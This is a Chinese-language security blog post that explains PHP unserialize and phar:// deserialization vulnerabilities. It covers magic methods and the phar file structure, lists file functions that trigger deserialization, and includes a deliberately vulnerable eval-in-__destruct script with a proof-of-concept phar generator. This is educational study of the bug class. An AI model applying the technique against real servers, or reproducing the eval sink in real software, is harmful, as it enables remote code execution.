php与phar反序列化漏洞小结
2023-06-15 17:12:50 # Web Security # PHP

PHP反序列化漏洞(unseriliaze)

什么是PHP反序列化漏洞

php序列化的函数为 serialize ,可以将对象中的成员变量转换成字符串。 反序列化的函数为 unserilize ,可以将 serialize 生成的字符串重新还原为对象中的成员变量。 将用户可控的数据进行了反序列化,就是PHP反序列化漏洞

简单来说,就是我们可以控制unserialize(a)这个函数接收的参数a,比如通过GET或POST接收参数a,我们可以通过伪造自己的序列化后的恶意代码(通过修改程序原有的魔术方法属性),然后让unserialize()这个函数去反序列化我们构造的恶意代码,从而达到执行的效果。

基础知识:序列化的属性权限问题

php在使用serialize()的时候产生的数据会根据attribute的权限不同,产生不同的数据和长度。

private类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
private $flag = 'bad';//此处我们将flag设为private类型
public function set_flag($flag){
$this->flag=$flag;
}
public function get_flag(){
return $this->flag;
}
}

$object = new test();
$object->set_flag('good');
$data = serialize($object);//序列化这个object
echo $data;//把结果打出来
?>

观察发现打出来的结果是:O:4:"test":1:{s:10:"testflag";s:6:"Active";}

此处代表属性名的testflag长度实际只有8,为什么却打出来有10个呢。这是因为他生成的格式是==%00类名%00属性名==

protected类型

生成格式为==%00*%00属性名==

public类型

生成格式直接为==属性名==

基础知识:魔法方法

construct()

对象创建时调用,但**unserialize()**不会调用

wakeup()

在unserialize()的时候会自动调用

destruct()

当对象被销毁的时候会被调用

toString()

反序列化后的对象被输出在模版的时候会被调用

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行 == 比较时(PHP进行 == 比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

get()

当从不可访问的属性读取数据时调用

call()

当在对象上下文中调用不可访问的方法时触发

基础知识:PHP反序列化利用条件

  • 当前作用域必须要有该Class存在
  • 序列化之序列化属性,不序列化Method,所以我们只能控制Attribute
  • 在写payload的时候,我们只写与属性有关的内容,若涉及到方法,该方法也需要在原始的漏洞代码中存在。

PHP反序列化进阶:Phar反序列化漏洞

什么是Phar

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。[来源于wiki]

phar组成结构

stub

phar文件的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>;

xxx可以为任何内容,所以我们可以伪造图片来绕过上传限制

manifest

以序列化形式储存,含压缩文件属性等信息

当文件操作函数通过phar://伪协议来解析phar文件的时候就会将数据反序列化,所以我们可以利用系统文件操作函数来反序列化。

contents

压缩文件的内容

signature

签名,在文件的末尾

利用条件

  • 文件上传点 - phar文件能够上传到服务端

  • 有系统文件操作函数,且:/phar等特殊字符未被过滤。

    • image-20210708105320550

    • 只要是函数的实现过程间接或直接调用了php_stream_open_wrapper都可能触发phar反序列化漏洞

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      exif_thumbnail
      exif_imagetype
      imageloadfont
      imagecreatefrom***
      hash_hmac_file
      hash_file
      hash_update_file
      md5_file
      sha1_file
      get_meta_tags
      get_headers
      getimagesize
      getimagesizefromstring
      $zip = new ZipArchive();
      $res = $zip->open('c.zip');
      $zip->extractTo('phar://test.phar/test');
    • 除了以上还有很多函数可能触发,更多的参见另一位师父的关于phar反序列化的文章

  • 有可用的魔术方法作为跳板

  • phar:// 伪协议

如何生成一个phar文件?

windows首先将php.ini里面的phar.readonly设为off,并把最前面的注释符去掉

在网上看见有师父提到linux环境下:

如果是linux环境下,需要在 /etc/php/7.0/apache2/php.ini 和/etc/php/7.0/cli/php.ini 这两个文件都需要修改 phar.readonly 否则不能生成phar文件

我本人用的是mac系统,在etc/private/php.ini直接修改即可。

1
2
3
4
5
6
7
8
9
10
11
<?php
class MyClass{
}
@unlink("phar.phar");
$phar =new Phar("phar.phar");//生成的文件后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php xxx; __HALT_COMPILER();?>");//设置stub
$o=new MyClass();
$phar->setMetadata($o);//将自定义的object传入meta-data里
$phar->addFromString("phartest.txt","test");//添加要压缩的文件
$phar->stopBuffering();

踩了一个坑:

代码写好后,有一个坑,就是我直接运行浏览器运行php是不行的(提示500错误),研究以后猜测是权限问题,因为我的网站是搭建在library目录下的,后来改用命令行在vscode里运行提示也permission denied,加上sudo就好了。

phar反序列化漏洞利用实例

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_GET['filename'])){//检测是否有名为filename的get请求
$filename=$_GET['filename'];//获取该请求并赋值给filename
class MyClass{//可以利用的class
var $output='echo "hahaha";';
function __destruct()//可以利用的魔术方法
{
eval($this->output);//这里eval会执行output的内容
}
}
file_exists($filename);//可以利用的文件操作函数
}else{
highlight_file(__FILE__);
}
?>

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class MyClass {//要利用的class
var $output='phpinfo();'; //我们只需要覆写output这个attribute的值
}

@unlink("test.phar");//删除已存在的test.phar
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

实现:在get请求中采用phar://你的文件.phar的格式,成功执行代码

image-20210708162848044

Reference

感谢K0rz3n大牛的php反序列化文章

感谢Threezh1大牛的phar反序列化文章